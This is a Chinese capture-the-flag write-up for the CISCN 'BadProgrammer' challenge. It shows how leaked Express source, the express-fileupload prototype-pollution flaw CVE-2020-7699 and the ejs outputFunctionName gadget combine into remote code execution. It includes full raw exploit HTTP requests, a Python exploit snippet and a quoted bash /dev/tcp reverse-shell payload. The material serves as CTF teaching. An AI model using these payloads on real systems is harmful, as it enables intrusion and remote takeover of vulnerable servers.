buu [CISCN] BadProgrammer题解

发布时间 2023-03-28 19:45:00作者: zbclove

[CISCN] BadProgrammer

image-20230307083733111

页面很长,有很多的按钮,但是点了之后都没反应

查看源码、扫描

image-20230307084327820

打开到具体目录

image-20230307084414700

image-20230307084546248

一个个目录点开看,在static/下找到了一个flag.ejs文件

image-20230307085630546

下载,打开

image-20230307085645559

可是两个目录下的文件夹中都没有flag.txt,得想办法找到读取出来

路由文件app.js 中提到了 flag.ejs

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

百度一下,发现是一个中间件

image-20230307092521112

搜索这个中间件的漏洞,存在着CVE漏洞

CVE-2020-7699漏洞分析 - FreeBuf网络安全行业门户

CVE-2020-7699:NodeJS模块代码注入

该漏洞完全是由于Nodejs的express-fileupload模块引起,该模块的1.1.8之前的版本存在原型链污染(Prototype Pollution)漏洞,当然,引发该漏洞,需要一定的配置:parseNested选项设置为true

该漏洞可以引发DOS拒绝服务攻击,配合ejs模板引擎,可以达到RCE的目的
npm i express-fileupload@1.1.7-alpha.4

而且和题目中的版本一致,大概就是这个中间件的漏洞

image-20230307092825367

参照CVE漏洞的payload

image-20230307095435875

POST / HTTP/1.1
​
Host: 192.168.0.101:7778
​
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
​
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
​
Accept-Language: en-US,en;q=0.5
​
Accept-Encoding: gzip, deflate
​
Referer: http://192.168.0.101:7778/
​
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333
​
Content-Length: 339
​
Connection: close
​
Upgrade-Insecure-Requests: 1
​
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="upload"; filename="m1sn0w.txt"
​
Content-Type: text/plain
​
​
​
aaa
​
​
-----------------------------1546646991721295948201928333
​
Content-Disposition: form-data; name="username"
​
​
​
123
​
-----------------------------1546646991721295948201928333--
​

通过req.body返回的是

{ username : '123' }

我们将上面的username改为

__proto__.outputFunctionName

123的值改为:

x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/prot 0>&1"');x

所以本题的payload修改为

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

同时也需要构造一个POST请求

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:52850
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 245
Content-Type: multipart/form-data; boundary=f9ad5c42ff3d78f5b5d3aa7539dc1354

--f9ad5c42ff3d78f5b5d3aa7539dc1354
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

--f9ad5c42ff3d78f5b5d3aa7539dc1354--

在原来的基础上把GET 请求换成了POST

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:52850

后面的就是抓包的信息,原封不动地cv过来

再加上关键信息

POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1
Host: 61.147.171.105:65379
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 289
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333

-----------------------------1546646991721295948201928333
Content-Disposition: form-data; name="__proto__.outputFunctionName"

x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x

-----------------------------1546646991721295948201928333--

这里的内容不能删、加空行,试了很多次,有时候随便删、加空行后就执行不了

还有这里的boundary是在使用post上传文件时,不仅需要指定mutipart/form-data来进行编码,还需要在Content-Type中定义boundary作为表单参数的分隔符

进入目录得到flag

image-20230307104538147

--------------------------------------------------------------------------------官方wp---------------------------------------------------------------------------

step1 nginx配置错误导致源码泄露

观察源码发现静态文件存放在/static/目录下 :

    <head>
        <title>Semantic UI</title>
        <link rel="stylesheet" type="text/css" href="/static/css/semantic.min.css">
        <script
        src="/static/js/jquery-3.1.1.min.js"
        integrity="sha256-hVVnYaiADRTO2PzUGmuLJr8BLUSjGIZsDYGmIJLv2b8="
        crossorigin="anonymous"></script>
        <script src="/static/js/semantic.min.js"></script>
    </head>

观察请求response header发现是nginx服务器加express框架:

Connection: keep-alive
Content-Length: 20175
Content-Type: text/html; charset=utf-8
Date: Sat, 05 Sep 2020 08:15:26 GMT
ETag: W/"4ecf-BRB1SRFii1kA+OilogiQ1K0hP8U"
Server: nginx
X-Powered-By: Express

利用nginx配置错误,可以列目录:

此时可以得到app.js源码:

const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();

app.use(fileUpload({ parseNested: true }));

app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => {
    res.render('flag.ejs');
});

app.get('/', (req, res) => {
    res.render('index.ejs');
})

app.listen(3000);
app.on('listening', function() {
    console.log('Express server started on port %s at %s', server.address().port, server.address().address);
});

step2 express-fileupload原型链污染漏洞

查看package.json文件,发现引用express-fileupload版本为1.1.7-alpha.4,此版本存在CVE-2020-7699,原型链污染漏洞。

{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "scripts": {
    "app": "node /app/app.js",
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "ejs": "^3.1.5",
    "express": "^4.17.1",
    "express-fileupload": "1.1.7-alpha.4"
  }
}

step3 配合ejs模板引擎进行RCE

通过污染ejs中outputFunctionName变量,实现RCE:

resp1 = requests.post("http://{}:{}/{}".format(HOST, PORT, PATH),
        files={'__proto__.outputFunctionName': 
        (
            None, "x;console.log(1);process.mainModule.require('child_process').exec('{cmd}');x".format(cmd=cmd)
        )})

step4 拷贝flag

flag在/flag.txt,需要通过命令执行将其拷贝到可访问到的位置。

观察package.json中,可知服务路径为/app

所以我们只需通过RCE执行

cp /flag.txt /app/static/js/flag.txt

再访问http://IP:PORT/static/js/flag.txt即可得到flag。